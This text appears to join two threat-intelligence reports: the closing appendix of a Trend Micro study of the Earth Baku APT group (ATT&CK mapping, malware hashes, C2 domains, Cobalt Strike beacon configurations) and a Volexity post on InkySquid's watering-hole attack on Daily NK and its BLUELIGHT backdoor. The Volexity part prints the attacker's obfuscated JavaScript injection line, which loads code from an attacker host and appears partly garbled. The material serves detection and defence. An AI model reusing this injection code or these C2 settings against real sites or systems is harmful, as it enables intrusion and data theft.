Countries With New Stealth Loaders and Backdoor Appendix MITRE ATT&CK Tactics, Techniques, and Procedures Tactic Technique Procedure Used by Initial access T1190 Exploit publicfacing application Earth Baku exploits SQL injection or CVE-2021-26855 to intrude on the network. Phishing: spear phishing attachment Earth Baku possibly distributes spam with LNK attachments that download StealthVector. Command and scripting interpreter: Windows Command Shell Earth Baku uses a batch file to install StealthVector. Command and scripting interpreter: Visual Basic Earth Baku uses VBS to drop StealthVector. T1569.002 Service execution Some variants of StealthVector are designed to be executed as a service. T1053.005 Scheduled task/ job: scheduled task StealthMutant is executed via a scheduled task. T1574.002 DLL sideloading Some variants of StealthVector are designed to be executed by DLL sideloading. StealthVector T1055.012 Process injection: process hollowing StealthMutant and StealthVector can perform process hollowing and phantom DLL hollowing to inject the shellcode in a remote process. StealthMutant, StealthVector T1562.006 Impair defenses: indicator blocking StealthMutant and StealthVector can patch EtwEventWrite to disable logging by ETW. StealthMutant, StealthVector T1027 Obfuscated files or information StealthMutant uses XOR or AES-256-ECB to decrypt the payload. StealthVector uses ChaCha20 to decrypt both the configuration and the payload. The main function of ScrambleCross is encoded by XOR and its configuration is encrypted by ChaCha20. StealthMutant, StealthVector, ScrambleCross T1218.004 Signed binary proxy execution: InstallUtil Some variants of StealthVector, including its C# implementation StealthMutant, are executed by InstallUtil. StealthMutant T1566.001 Execution T1059.003 T1059.005 Defense evasion StealthVector 42 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Tactic Command and control Technique Procedure Used by T1036.003 Masquerading: rename system utilities Earth Baku renames the legitimate CertUtil.exe to bypass detection. T1027.002 Obfuscated files or information: software packing StealthMutant is packed by ConfuserEx. StealthMutant T1573.001 Encrypted channel: symmetric cryptography ScrambleCross uses ChaCha20 for packet encryption. ScrambleCross T1071.001 Application layer protocol: web protocols The Cobalt Strike beacon uses HTTPS to communicate with the C&C server. ScrambleCross uses HTTP/HTTPS to communicate with the C&C server. Cobalt Strike, ScrambleCross T1071.004 Application layer protocol: DNS The Cobalt Strike beacon uses DNS to communicate with the C&C server. Cobalt Strike T1090.004 Proxy: domain fronting ScrambleCross abuses a legitimate CDN service to tunnel traffic to the actual C&C server. ScrambleCross T1105 Ingress tool transfer Earth Baku uses CertUtil.exe to download components from a URL. Indicators of Compromise LNK Downloader Files SHA-256 Detection 59fa89a19aa236aec216f0c8e8d59292b8d4e1b3c8b5f94038851cc5396d6513 Trojan.LNK.STEALTHVECTOR.ZYIF BAT Launcher Files SHA-256 Detection 49e338c5ae9489556ae8f120a74960f3383381c91b8f03061ee588f6ad97e74c Trojan. BAT.SVCLAUNCHER.ZYIF c8e3e27401ae87cbd891b46505b89f2970f8890de4b09cbaa538d827caa86b26 Trojan. BAT.SVCLAUNCHER.ZYIF d1175b88744606363f6fdf2df5980ca5a0898a3944fcf15f5c4c014473b043ca Trojan. BAT.SVCLAUNCHER.ZYIF 62d9e8f6e8ade53c6756f66beaaf4b9d93da6d390bf6f3ae1340389178a2fa29 Trojan. BAT.SVCLAUNCHER.ZYIF da4b86b9367151e0c36b90cb7329aca2d05f2984ce0e0181dd355b728acc4428 Trojan. BAT.SVCLAUNCHER.ZYIF 43 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor StealthMutant and Payloads SHA-256 Detection Payload 24ac3cc305576493beefab026d1cb7cce84f3bfcbcc51cdb5e612c290499390a Backdoor.Win64. SCRAMBLECROSS.ZYIF. Cobalt Strike beacon (HTTP) 209521bc350e7f5b28decba46bad81090a13f42eed396db3ca9a97eaf7902fe8 Backdoor.Win64. COBEACON.ZYIF.enc 34f95e0307959a376df28bc648190f72bccc5b25e0e00e45777730d26abb5316 Trojan.MSIL. STEALTHMUTANT.ZYIF Encrypted payload not found b7b2aa801dea2ec2797f8cf43b99c4bf8d0c1effe532c0c800b40336e9012af2 Trojan.MSIL. STEALTHMUTANT.ZYIF Encrypted payload not found 8284c44f87ab8471918da564152ffcc28348a671e3a9316876b075cdf03c3607 Trojan.MSIL. STEALTHMUTANT.ZYIF Encrypted payload not found e66adbc6ca13dab9915aca30360c86b75e63e9c0845ac89217299fed556810cc Trojan.MSIL. STEALTHMUTANT.ZYIF ScrambleCross 6c5192a478bd7eca95f83ab3ebf036d4c1ffcc81e0354fa05f02f5fe4e8bfdf5 Backdoor.Win64. SCRAMBLECROSS.ZYIF. ce16e9a2d3722bb5f5b3636f307bd386ed24abafea72aeb6dd002d51eeca16df Trojan.MSIL. STEALTHMUTANT.ZYIF Cobalt Strike beacon (HTTPS) 9269dc68d46630c0d534bf62a299037fd3a124a6459d97692c25ffb89ccd1f08 Backdoor.Win64. COBEACON.ZYIF.enc 04f6fc49da69838f5b511d8f996dc409a53249099bd71b3c897b98ad97fd867c Trojan.MSIL. STEALTHMUTANT.ZYIF 730f4d8c1e774406105bbaad3cb4b466c27e0a50cf8345c236b42a80b437e2a8 Backdoor.Win64. SCRAMBLECROSS.ZYIF. Detection Payload 9e178bb966f101e8c8ed020fbb2fb5878e2a969f7eaf47bc990f0472e85a3533 Trojan.Win64. STEALTHVECTOR. SMZTID-B Encrypted payload not found d9d269a199ca0841fc71fef045c3dc5701a5042bea46d05a657b6db43fe55acc Trojan.Win64. STEALTHVECTOR. SMZTID-B Encrypted payload not found 8da88951322fa7f464c13cb4a173d0c178f5e34a57957c9117b393133dd19925 Trojan.Win64. STEALTHVECTOR. SMZTID-B Encrypted payload not found ScrambleCross StealthVector SHA-256 44 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor SHA-256 Detection Payload e009ef76fb9402fe379280ed9c6a4d81748fb259475b9048937f3d7c7f0f0f32 Trojan.Win64. STEALTHVECTOR. SMZTID-B Encrypted payload not found e2ae201bd6a7397dcc5036260122e7d67046569b90c4f1b79ef8e34914729888 Trojan.Win64. STEALTHVECTOR. SMZTID-B ScrambleCross c1b587a922691c7e01db3e57f223fa2b5d2df2121736922ff97141571c550cfc Trojan.Win64. STEALTHVECTOR. SMZTID-B Encrypted payload not found 02378f64fd1083491cf5558397aae763ff047a5fa9fcaf624d1710b86f440777 Trojan.Win64. STEALTHVECTOR. SMZTID-B Encrypted payload not found 560a96e4577d09eb13416e5c4d649c346ca11a2459f09c8a3495d7c377c1f31d Trojan.Win64. STEALTHVECTOR. SMZTID-B Cobalt Strike beacon (Hybrid HTTP DNS) 91aa05e3666c7e2443fc1f0f0142f1829f5ec51e289c95b10811531da50eb2b3 Trojan.Win64. STEALTHVECTOR. SMZTID-B Cobalt Strike beacon (HTTPS) 98f6be546c5191b67014e3d0f7f8df86715d970aa326a6a438d0be234daf8841 Trojan.Win64. STEALTHVECTOR. SMZTID-B Encrypted payload not found 477882b41e10aef0fcd0d5d33715dfb4eb7f8f3277057978ac77d3ec5914c6f9 Trojan.Win64. STEALTHVECTOR. SMZTID-B Encrypted payload not found bf34dfb4140c00d23554b03ebb986b2734a2c396877681d526e2ac80b372268a Trojan.Win64. STEALTHVECTOR. SMZTID-B Encrypted payload not found d981edf78680f46616574b46ac3d0ab58a509430c155905761058152a24f091d Trojan.Win64. STEALTHVECTOR.ZYIG Cobalt Strike beacon (HTTPS) Domains/IP addresses Ns[.]cloud01[.]tk Ns[.]cloud20[.]tk ns1[.]extrsports[.]ru:443 www[.]microsofthelp[.]dns1[.]us:443 45[.]138[.]157[.]78:80 update[.]microsoftdocs[.]workers[.]dev:443 www[.]twitterproxy[.]com:443 cdn[.]cloudfiare[.]workers[.]dev:443 mssetting[.]com dns224[.]com cloudflare-ko[.]biguserup[.]workers[.]dev:443 45 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Cobalt Strike Configuration Hybrid HTTP DNS beacon BeaconType - Hybrid HTTP DNS Port SleepTime - 300000 MaxGetSize - 1404878 Jitter - 37 MaxDNS - 255 PublicKey_MD5 - df50953714f29628a7f6a6c97eb0bc2e C2Server - ns.cloud01.tk,/users/sign_in,ns.cloud20.tk,/users/sign_in UserAgent - Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko HttpPostUri - /signup/custom Malleable_C2_Instructions - Remove 3405 bytes from the end Remove 3366 bytes from the beginning Base64 URL-safe decode XOR mask w/ random key HttpGet_Metadata - ConstHeaders Host: fortawesome.com xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://fortawesome.com/ Metadata base64url prepend _fortawesome_session= header Cookie HttpPost_Metadata - ConstHeaders 46 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Host: fortawesome.com Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,*/*;q=0.8 SessionId mask base64url parameter __uid Output mask base64url prepend remember_me=on&authenticity_token= print PipeName DNS_Idle - 8.8.8.8 DNS_Sleep SSH_Host - Not Found SSH_Port - Not Found SSH_Username - Not Found SSH_Password_Plaintext - Not Found SSH_Password_Pubkey Not Found SSH_Banner HttpGet_Verb - GET HttpPost_Verb - POST HttpPostChunk Spawnto_x86 - %windir%\syswow64\rundll32.exe Spawnto_x64 - %windir%\sysnative\rundll32.exe 47 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor CryptoScheme Proxy_configuration - Not Found Proxy_User - Not Found Proxy_Password - Not Found Proxy_Behavior - Use IE settings Watermark - 305419896 bStageCleanup - True bCFGCaution - False KillDate bProcInject_StartRWX - False bProcInject_UseRWX - False bProcInject_MinAllocSize - 17500 ProcInject_PrependAppend_x86 \x90\x90\x90\x90 Empty ProcInject_PrependAppend_x64 \x90\x90\x90\x90 Empty ProcInject_Execute - ntdll:RtlUserThreadStart CreateThread NtQueueApcThread-s CreateRemoteThread RtlCreateUserThread ProcInject_AllocationMethod - NtMapViewOfSection bUsesCookies - True HostHeader headersToRemove - Not Found DNS_Beaconing - Not Found 48 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor DNS_get_TypeA - Not Found DNS_get_TypeAAAA - Not Found DNS_get_TypeTXT - Not Found DNS_put_metadata - Not Found DNS_put_output - Not Found DNS_resolver - Not Found DNS_strategy - Not Found DNS_strategy_rotate_seconds - Not Found DNS_strategy_fail_x - Not Found DNS_strategy_fail_seconds - Not Found HTTPS beacon BeaconType - HTTPS Port - 443 SleepTime - 60000 MaxGetSize - 1404878 Jitter - 37 MaxDNS - 255 PublicKey_MD5 - df50953714f29628a7f6a6c97eb0bc2e C2Server - work.cloud01.tk,/users/sign_in,work.cloud20.tk,/ users/sign_in,185.118.166.205,/users/sign_in UserAgent - Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko HttpPostUri - /signup/custom Malleable_C2_Instructions - Remove 3405 bytes from the end Remove 3366 bytes from the beginning 49 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Base64 URL-safe decode XOR mask w/ random key HttpGet_Metadata - ConstHeaders Host: fortawesome.com Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Referer: https://fortawesome.com/ Metadata base64url prepend _fortawesome_session= header Cookie HttpPost_Metadata - ConstHeaders Host: fortawesome.com Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate SessionId mask base64url parameter __uid Output mask base64url prepend remember_me=on&authenticity_token= print PipeName 50 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor DNS_Idle - 8.8.8.8 DNS_Slee SSH_Host - Not Found SSH_Port - Not Found SSH_Username - Not Found SSH_Password_Plaintext - Not Found SSH_Password_Pubkey - Not Found SSH_Banner HttpGet_Verb - GET HttpPost_Verb - POST HttpPostChunk Spawnto_x86 - %windir%\syswow64\rundll32.exe Spawnto_x64 - %windir%\sysnative\rundll32.exe CryptoScheme Proxy_configuration - Not Found Proxy_User - Not Found Proxy_Password - Not Found Proxy_Behavior - Use IE settings Watermark - 305419896 bStageCleanup - True bCFGCaution - False KillDate bProcInject_StartRWX - False bProcInject_UseRWX - False bProcInject_MinAllocSize - 17500 ProcInject_PrependAppend_x86 \x90\x90\x90\x90 51 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Empty ProcInject_PrependAppend_x64 \x90\x90\x90\x90 Empty ProcInject_Execute - ntdll:RtlUserThreadStart CreateThread NtQueueApcThread-s CreateRemoteThread RtlCreateUserThread ProcInject_AllocationMethod - NtMapViewOfSection bUsesCookies - True HostHeader headersToRemove - Not Found DNS_Beaconing - Not Found DNS_get_TypeA - Not Found DNS_get_TypeAAAA - Not Found DNS_get_TypeTXT - Not Found DNS_put_metadata - Not Found DNS_put_output - Not Found DNS_resolver - Not Found DNS_strategy - Not Found DNS_strategy_rotate_seconds - Not Found DNS_strategy_fail_x - Not Found DNS_strategy_fail_seconds - Not Found 52 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor References Trend Micro. (April 19, 2017). Trend Micro. Examining a Possible Member of the Winnti Group. Accessed on July 9, 2021, at https://www.trendmicro.com/en_us/research/17/d/pigs-malware-examining-possible-member-winnti-group.html. Joseph C. Chen et al. (July 9, 2021). Trend Micro. BIOPASS RAT: New Malware Sniffs Victims via Live Streaming. Accessed on July 9, 2021, at https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-livestreaming.html. Benson Sy. (June 29, 2015). Trend Micro. MERS News Used in Targeted Attack against Japanese Media Company. Accessed on July 9, 2021, at https://blog.trendmicro.com/trendlabs-security-intelligence/mers-news-used-in-targeted-attackagainst-japanese-media-company/. Daniel Lunghi et al. (Feb. 18, 2020). Trend Micro. Uncovering DRBControl: Inside the Cyberespionage Campaign Targeting Gambling Operations. Accessed on July 9, 2021, at https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/ operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia. The United States Department of Justice. (Sept. 16, 2020). The United States Department of Justice. Seven International Cyber Defendants, Including Apt41 Actors, Charged In Connection With Computer Intrusion Campaigns Against More Than 100 Victims Globally. Accessed on July 16, 2021, at https://www.justice.gov/opa/pr/seven-international-cyber-defendantsincluding-apt41-actors-charged-connection-computer. Positive Technologies. (Jan. 14, 2021). Positive Technologies. Higaisa or Winnti? APT41 backdoors, old and new. Accessed on July 16, 2021, at https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41backdoors-old-and-new. Christopher Glyer et al. (March 25, 2020). FireEye Threat Research Blog. This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Accessed on July 16, 2021, at https://www.fireeye.com/blog/threat-research/2020/03/ apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html. Bernardo Damele, Miroslav Stampar, and Alessandro Tanasi. (Jan. 19, 2021). Github. sqlmap/plugins/dbms/mssqlserver/ filesystem.py. Accessed on July 16, 2021, at https://github.com/sqlmapproject/sqlmap/blob/master/plugins/dbms/ mssqlserver/filesystem.py#L281-L333. Nitesh Surana. (April 14, 2021). Trend Micro. Could the Microsoft Exchange breach be stopped? Accessed on July 22, 2021, at https://www.trendmicro.com/en_us/devops/21/d/could-the-microsoft-exchange-breach-be-stopped.html. 10 Thomas Dupuy, Matthieu Faou, and Mathieu Tartare. (March 10, 2021). WeLiveSecurity. Exchange servers under siege from at least 10 APT groups. Accessed on July 16, 2021, at https://www.welivesecurity.com/2021/03/10/exchange-servers-undersiege-10-apt-groups. 11 ambray. (Oct 24, 2017). GitHub. ProcessHollowing/ShellLoader/Loader.cs. Accessed on July 16, 2021, at https://github. com/ambray/ProcessHollowing/blob/master/ShellLoader/Loader.cs. 12 Yoshihiro Ishikawa. (May 21, 2021). LAC. Microsoft Cobalt Strike loader APT41. Accessed on July 16, 2021, at https://www.lac.co.jp/lacwatch/report/20210521_002618.html. 13 Internet Research Task Force. (May 2015). IETF Trust. ChaCha20 and Poly1305 for IETF Protocols. Accessed on July 16, 2021, at https://datatracker.ietf.org/doc/html/rfc7539. 14 Raphael Mudge. (April 9, 2018). CobaltStrike. Cobalt Strike 3.11 The snake that eats its tail. Accessed on July 16, 2021, at https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail. 15 CyCraft Research Team. (April 15, 2020). Cycraft. APT Group Chimera - APT Operation Skeleton Key Targets Taiwan Semiconductor Vendors. Accessed on July 16, 2021, at https://cycraft.com/download/%5BTLP-White%5D20200415%20 Chimera_V4.1.pdf. 16 Takahiro Haruyama. (2021). VMware Carbon Black. Knock, knock, Neo. - Active C2 Discovery Using Protocol Emulation. Accessed on July 16, 2021, at https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_201_haruyama_jp.pdf. 17 The United States Department of Justice. (Aug. 13, 2020). The United States Department of Justice. Seven International Cyber Defendants, Including Apt41 Actors, Charged In Connection With Computer Intrusion Campaigns Against More Than 100 Victims Globally. Accessed on July 16, 2021, at https://www.justice.gov/opa/pr/seven-international-cyber-defendantsincluding-apt41-actors-charged-connection-computer. 53 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor 18 Sudeep Singh and Atinderpal Singh. (June 11, 2020). ZScaler. The Return of the Higaisa APT. Accessed on July 16, 2021, at https://www.zscaler.com/blogs/security-research/return-higaisa-apt. 19 VMware. (Sept. 30, 2019). VMware. CB Threat Analysis Unit: Technical Analysis of Crosswalk. Accessed on July 16, 2021, at https://www.carbonblack.com/blog/cb-threat-analysis-unit-technical-analysis-of-crosswalk. 20 CyCraft Technology Corp. (June 2, 2021). Medium. China-Linked Threat Group Targets Taiwan Critical Infrastructure, Smokescreen Ransomware. Accessed on July 16, 2021, at https://medium.com/cycraft/china-linked-threat-group-targetstaiwan-critical-infrastructure-smokescreen-ransomware-c2a155aa53d5. 21 Nikita Rostovcev. (June 10, 2021). Group-IB. Big airline heist: APT41 likely behind massive supply chain attack. Accessed on July 16, 2021, at https://blog.group-ib.com/colunmtk_apt41. 22 Trend Micro. (n.d.). Trend Micro. XDR. Accessed on July 22, 2021, at https://www.trendmicro.com/en_us/business/ products/detection-response/xdr.html. 23 Trend Micro. (n.d.). Trend Micro. Managed XDR. Accessed on July 22, 2021, at https://www.trendmicro.com/en_us/ business/products/detection-response/managed-xdr-mdr.html. 54 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor TREND MICROTM RESEARCH Trend Micro, a global leader in cybersecurity, helps to make the world safe for exchanging digital information. Trend Micro Research is powered by experts who are passionate about discovering new threats, sharing key insights, and supporting efforts to stop cybercriminals. Our global team helps identify millions of threats daily, leads the industry in vulnerability disclosures, and publishes innovative research on new threat techniques. We continually work to anticipate new threats and deliver thoughtprovoking research. www.trendmicro.com 2021 by Trend Micro, Incorporated. All rights reserved. Trend Micro, the Trend Micro t-ball logo, Trend Micro Smart Protection Network, Trend 55 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Micro XDR, and Trend Micro Managed XDR are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. North Korean APT InkySquid Infects Victims Using Browser Exploits volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits August 17, 2021 by Damien Cash, Josh Grunzweig, Matthew Meltzer, Steven Adair, Thomas Lancaster Volexity recently investigated a strategic web compromise (SWC) of the website of the Daily NK (www.dailynk[.]com), a South Korean online newspaper that focuses on issues relating to North Korea. Malicious code on the Daily NK website was observed from at least late March 2021 until early June 2021. This post provides details on the different exploits used in the SWC, as well as the payload used, which Volexity calls BLUELIGHT. Volexity attributes the activity described in this post to a threat actor Volexity refers to as InkySquid, which broadly corresponds to activity known publicly under the monikers ScarCruft and APT37. SWC Activity In April 2021, through its network security monitoring on a customer network, Volexity identified suspicious code being loaded via www.dailynk[.]com to malicious subdomains of jquery[.]services. Examples of URLs observed loading malicious code include the following: hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1 hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 These URLs lead to legitimate files used as part of the normal function of the Daily NK website; however, their contents were modified by the attacker to include code redirecting users to load malicious JavaScript from the attacker-owned domain jquery[.]services. The attacker-included code was only added for short periods of time and was swiftly removed, making identification of this activity difficult as the malicious content was not always available. CVE-2020-1380 The first time Volexity was able to identify malicious code being returned, the attacker was observed using CVE-2020-1380, an exploit for Internet Explorer. The attacker added a single line of code to the following legitimate file on Daily NK: hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1 The line of obfuscated code added to DailyNK was as follows: function vgrai(){var e=document.createElement("script");e.src=fecet("w6625I>>7x=y37t4;=5t48xrt5>4t52105x8t0||i>0}vdgie()&&vgrai(); The effect of this is that if a user visited Daily NK using Internet Explorer, then a page would load an additional JavaScript file from the following URL: hxxps://ui.jquery[.]services/responsive-extend.min.js When requested, with the correct Internet Explorer User-Agent, this host would serve additional obfuscated JavaScript code. As with the initial redirect, the attacker chose to bury their malicious code amongst legitimate code. In this particular case, the attacker used the "bPopUp" JavaScript library alongside their own code. This decision has two effects: 1. Anyone manually analyzing the JavaScript may dismiss it as legitimate, since the majority of the included code is benign. 2. Automated solutions used to identify malicious JavaScript may misidentify the code as benign, since large sections match known legitimate library content and use code patterns seen in benign JavaScript. One interesting aspect of the exploit code the attacker includes is that many of the strings are obfuscated within variables designed to look like legitimate SVG content. An example of the attacker hiding these strings is given in Figure 1: Figure 1. Obfuscated strings within the falsified SVG variable In order to decrypt the strings, the following steps are performed: 1. Split the data contained within the attribute of the path variable via the M43.2 string. 2. Take each element in the split data and split once again on space characters, resulting in a list of numbers. 3. Convert each resulting number to an integer. 4. If this integer is greater than 30, subtract 17 and append it to the resulting string. If the integer is 30 or less, discard it. A Python script to decode these SVG variables is provided on Volexity's GitHub page here. In total, three fake SVG objects were used. Once the strings from these objects are substituted into the remaining JavaScript, identifying the exploit became easier. A key segment of the resulting code is given in Figure 2: Figure 2. Implementation of CVE-2020-1380 This code corresponds to publicly available proof-of-concept (PoC) code for CVE-2020-1380 that has been well documented by TrendMicro. Following successful exploitation, the JavaScript decrypts a final SVG variable using the same technique described previously. The resulting blob contains a hexencoded representation of a Cobalt Strike stager, which is decoded and executed. In this case, the URLs from where it expected to download additional shellcode were as follows: hxxps://ui.jquery[.]services/swipeout.min.js hxxps://ui.jquery[.]services/swipeout.min.css hxxps://ui.jquery[.]services/slider.min.css CVE-2021-26411 On another occasion, CVE-2021-26411 was used, which is another exploit targeting Internet Explorer and legacy versions of Microsoft Edge. The redirect code was set up in the same way as CVE-2020-1380, the only difference being the exploit code used. The key part of the exploit code used is given in Figures 3 and 4. It was likely a direct implementation of the PoC code posted here by Korean security company Enki. Figure 3. Key exploit code used by the attackers Figure 4. PoC code released on the Enki security blog As with the CVE-2020-1380 example, the attacker made use of encoded content stored in SVG tags to store both key strings and their initial payload. The initial command-and-control (C2) urls were the same as those observed in the CVE-2020-1380 case. BLUELIGHT On another occasion, the attacker used a different subdomain of jquery[.]services to host a new and novel malware family. The file was hosted at the following location: hxxps://storage.jquery[.]services/log/history The "history" file was an XOR-encoded (0xCF) copy of a custom malware family that both the malware developer and Volexity refer to as BLUELIGHT. The moniker is derived from the PDB string observed in the malware: E:\Development\BACKDOOR\ncov\Release\bluelight.pdb It is likely that BLUELIGHT is used as a secondary payload following successful delivery of Cobalt Strike, which was used as an initial payload in both exploitation cases highlighted earlier in this report. The file analyzed for this report had the following details: Filename history SHA1 9b86888a83dd0dd1c3a0929f1ea53b82 558ce5e8c0b1b0a76b88db087f0c92f7a62716fe SHA256 5c430e2770b59cceba1f1587b34e686d586d2c8ba1908bb5d066a616466d2cc6 Notes Shellcode with embedded PE. The BLUELIGHT malware family uses different cloud providers to facilitate C2. This specific sample leveraged the Microsoft Graph API for its C2 operations. Upon start-up, BLUELIGHT performs an oauth2 token authentication using hard-coded parameters. Once the client is authenticated, BLUELIGHT creates a new subdirectory in the OneDrive appfolder and populates it with several subdirectories used by the C2 protocol. The following subdirectory names were used: logo normal background theme round Once the folder and subdirectories are set up, reconnaissance data is gathered containing the following information, formatted as a JSON object: Username Computer name OS version Web IP Local IP of default interface LocalTime Whether the implant binary is 32 or 64 bit Process SID authority level Process filename List of AV products installed Whether the infected machine has VM tools running The data is XOR encoded into a binary blob and uploaded. All further reconnaissance and command response data is similarly encoded. This version of the implant used the ".jpg" extension for nearly all files uploaded regardless of their content, with different subdirectories and base filenames indicating different types of command data. The reconnaissance data, for instance, is uploaded to the "logo/title.jpg" path. The main C2 loop starts after the initial upload of the reconnaissance data, iterating once every approximately 30 seconds. For the first five minutes, each iteration will capture a screenshot of the display and upload it to the "normal" subdirectory with an encoded timestamp as the filename. After the first five minutes, the screenshot uploads once every five minutes. With every iteration, the client will also query for new commands by enumerating the children of the "background" subdirectory. The name of the file indicates the command to perform, with the contents of the file providing further command-specific information. The following commands are supported: Execute downloaded shellcode. Download and launch an executable, then upload program output. Harvest cookies and a password database for supported browsers. Supports: Win7 IE, Win10 IE, Edge, Chrome, and Naver Whale Recursively search a path and upload file metadata (timestamps, size, and full path). Spawn a thread to recursively search a path and upload files as a ZIP archive. Terminate the file upload thread. Uninstall the implant. Command files are deleted after being processed. Result files for most commands are uploaded to the round directory; however, the ZIP upload uses the theme subdirectory. Conclusion While SWCs are not as popular as they once were, they continue to be a weapon in the arsenal of many attackers. The use of recently patched exploits for Internet Explorer and Microsoft Edge will only work against a limited audience. Attackers will still have some success, however, and have a good chance of avoiding detection based on the following attributes of their attack: Clever disguise of exploit code amongst legitimate code, making it harder to identify Only allowing exploitable user-agents access to the exploit code, making it difficult to identify at scale (such as through automated scanning of websites) Use of innovative custom malware, such as BLUELIGHT, after successful exploitation using C2 mechanisms which are unlikely to be detected by many solutions How is this activity attributed to InkySquid (aka ScarCruft, APT37)? This will be explained further in a follow-up post, so stay tuned! IoCs & Signatures Related IoCs and signatures to this post are available on Volexity's GitHub page here.